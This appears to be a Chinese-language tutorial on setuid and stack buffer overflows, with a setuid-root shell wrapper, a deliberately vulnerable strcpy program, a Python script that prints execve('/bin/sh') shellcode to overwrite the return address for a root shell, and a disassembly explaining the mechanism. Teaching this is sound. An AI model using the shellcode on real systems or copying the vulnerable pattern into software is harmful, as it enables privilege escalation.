讓普通用戶用管理員權限運行程序
原理:
Linux 和 FreeBSD 中有一個用來修改密碼的命令“passwd”。 密碼一般保存在 /etc/master.passwd、 /etc/passwd 和 /etc/shadow 等中, 沒有 root 權限的用戶是無法修改這些文件的。
然而, 如果只有 root 才能修改密碼, 使用起來就會很不方便, 於是我們需要一個機制讓普通用戶也能夠臨時借用管理員權限, 這個機制就是setuid。 setuid 的功能是讓用戶使用程序的所有者權限來運行程序
實例測試
1 #include <unistd.h> 2 #include <sys/types.h> 3 int main(int argc, char *argv[]) 4 { 5 char *data[2]; 6 char *exe = "/bin/sh"; 7 data[0] = exe; 8 data[1] = NULL; 9 setuid(0); 10 execve(data[0], data, NULL); 11 return 0; 12 }
用 root 權限編譯該程序, 然后設置 setuid
gcc -Wall pass.c -o pass
如果可以以root權限進程shell操作,后果也是很嚴重的
獲取root權限
1 #include <stdio.h> 2 #include <string.h> 3 unsigned long get_sp(void) 4 { 5 __asm__("movl %esp, %eax"); 6 } 7 int cpy(char *str) 8 { 9 char buff[64]; 10 printf("0x%08lx", get_sp() + 0x10); 11 getchar(); 12 strcpy(buff, str); 13 return 0; 14 } 15 int main(int argc, char *argv[]){ 16 cpy(argv[1]); 17 return 0; 18 }
1 #!/usr/local/bin/python 2 3 import sys 4 from struct import * 5 if len(sys.argv) != 2: 6 addr = 0x41414141 7 else: 8 addr = int(sys.argv[1], 16) 9 s = "" 10 s += "\x31\xc0\x50\x89\xe0\x83\xe8\x10" # 8 11 s += "\x50\x89\xe3\x31\xc0\x50\x68\x2f" #16 12 s += "\x2f\x73\x68\x68\x2f\x62\x69\x6e" #24 13 s += "\x89\xe2\x31\xc0\x50\x53\x52\x50" #32 14 s += "\xb0\x3b\xcd\x80\x90\x90\x90\x90" #40 15 s += "\x90\x90\x90\x90\x90\x90\x90\x90" #48 16 s += "\x90\x90\x90\x90\x90\x90\x90\x90" #56 17 s += "\x90\x90\x90\x90\x90\x90\x90\x90" #64 18 s += "\x90\x90\x90\x90"+pack('<L',addr) #72 19 sys.stdout.write(s)
測試:
sample3.c 的 cpy 函數會將輸入的字符串原原本本地復制到一塊只有 64字節的內存空間中。 由於字符串是由用戶任意輸入的, 因此如果將
exploit.py 的輸出結果輸入給 sample3.c, 我們就成功地以所有者(root)權限運行了 /bin/sh
如何執行任意代碼
1 #include <stdio.h> 2 void func(int x, int y, int z) 3 { 4 int a; 5 char buff[8]; 6 } 7 int main(void) 8 { 9 func(1, 2, 3); 10 return 0; 11 }
反匯編:
加-m32
1 .file "sam.c" 2 .text 3 .globl func 4 .type func, @function 5 func: 6 .LFB0: 7 .cfi_startproc 8 endbr32 9 pushl %ebp 10 .cfi_def_cfa_offset 8 11 .cfi_offset 5, -8 12 movl %esp, %ebp 13 .cfi_def_cfa_register 5 14 subl $24, %esp 15 call __x86.get_pc_thunk.ax 16 addl $_GLOBAL_OFFSET_TABLE_, %eax 17 movl %gs:20, %eax 18 movl %eax, -12(%ebp) 19 xorl %eax, %eax 20 nop 21 movl -12(%ebp), %eax 22 xorl %gs:20, %eax 23 je .L2 24 call __stack_chk_fail_local 25 .L2: 26 leave 27 .cfi_restore 5 28 .cfi_def_cfa 4, 4 29 ret 30 .cfi_endproc 31 .LFE0: 32 .size func, .-func 33 .globl main 34 .type main, @function 35 main: 36 .LFB1: 37 .cfi_startproc 38 endbr32 39 leal 4(%esp), %ecx 40 .cfi_def_cfa 1, 0 41 andl $-16, %esp 42 pushl -4(%ecx) 43 pushl %ebp 44 .cfi_escape 0x10,0x5,0x2,0x75,0 45 movl %esp, %ebp 46 pushl %ecx 47 .cfi_escape 0xf,0x3,0x75,0x7c,0x6 48 subl $4, %esp 49 call __x86.get_pc_thunk.ax 50 addl $_GLOBAL_OFFSET_TABLE_, %eax 51 subl $4, %esp 52 pushl $3 53 pushl $2 54 pushl $1 55 call func 56 addl $16, %esp 57 movl $0, %eax 58 movl -4(%ebp), %ecx 59 .cfi_def_cfa 1, 0 60 leave 61 .cfi_restore 5 62 leal -4(%ecx), %esp 63 .cfi_def_cfa 4, 4 64 ret 65 .cfi_endproc 66 .LFE1: 67 .size main, .-main 68 .section .text.__x86.get_pc_thunk.ax,"axG",@progbits,__x86.get_pc_thunk.ax,comdat 69 .globl __x86.get_pc_thunk.ax 70 .hidden __x86.get_pc_thunk.ax 71 .type __x86.get_pc_thunk.ax, @function 72 __x86.get_pc_thunk.ax: 73 .LFB2: 74 .cfi_startproc 75 movl (%esp), %eax 76 ret 77 .cfi_endproc 78 .LFE2: 79 .hidden __stack_chk_fail_local 80 .ident "GCC: (Ubuntu 9.3.0-10ubuntu2) 9.3.0" 81 .section .note.GNU-stack,"",@progbits 82 .section .note.gnu.property,"a" 83 .align 4 84 .long 1f - 0f 85 .long 4f - 1f 86 .long 5 87 0: 88 .string "GNU" 89 1: 90 .align 4 91 .long 0xc0000002 92 .long 3f - 2f 93 2: 94 .long 0x3 95 3: 96 .align 4 97 4:
紅色標記將參數入棧,然后call 執行fun函數;和 jmp 不同, call 必須記住調用時當前指令的地址, 因此在跳轉到子程序的地址之前, 需要先將返回地址(ret_addr) push 到棧中。
當調用 func 函數時, 在跳轉到函數起始地址的瞬間, 棧的情形如下圖所示
程序又執行了 push ebp, esp 繼續遞減, 為函數內部的局部變量分配內存空間
如果數據溢出:
數組 buff 后面的 %ebp、 ret_addr 以及傳遞給 func 函數的參數都會被溢出的數據覆蓋掉
ret_addr 存放的是函數邏輯結束后返回 main 函數的目標地址。 如果覆蓋了 ret_addr, 攻擊者就可以讓程序跳轉到任意地址。 如果攻擊者事先准備一段代碼, 然后讓程序跳轉到這段代碼, 也就相當於
成功攻擊了“可執行任意代碼的漏洞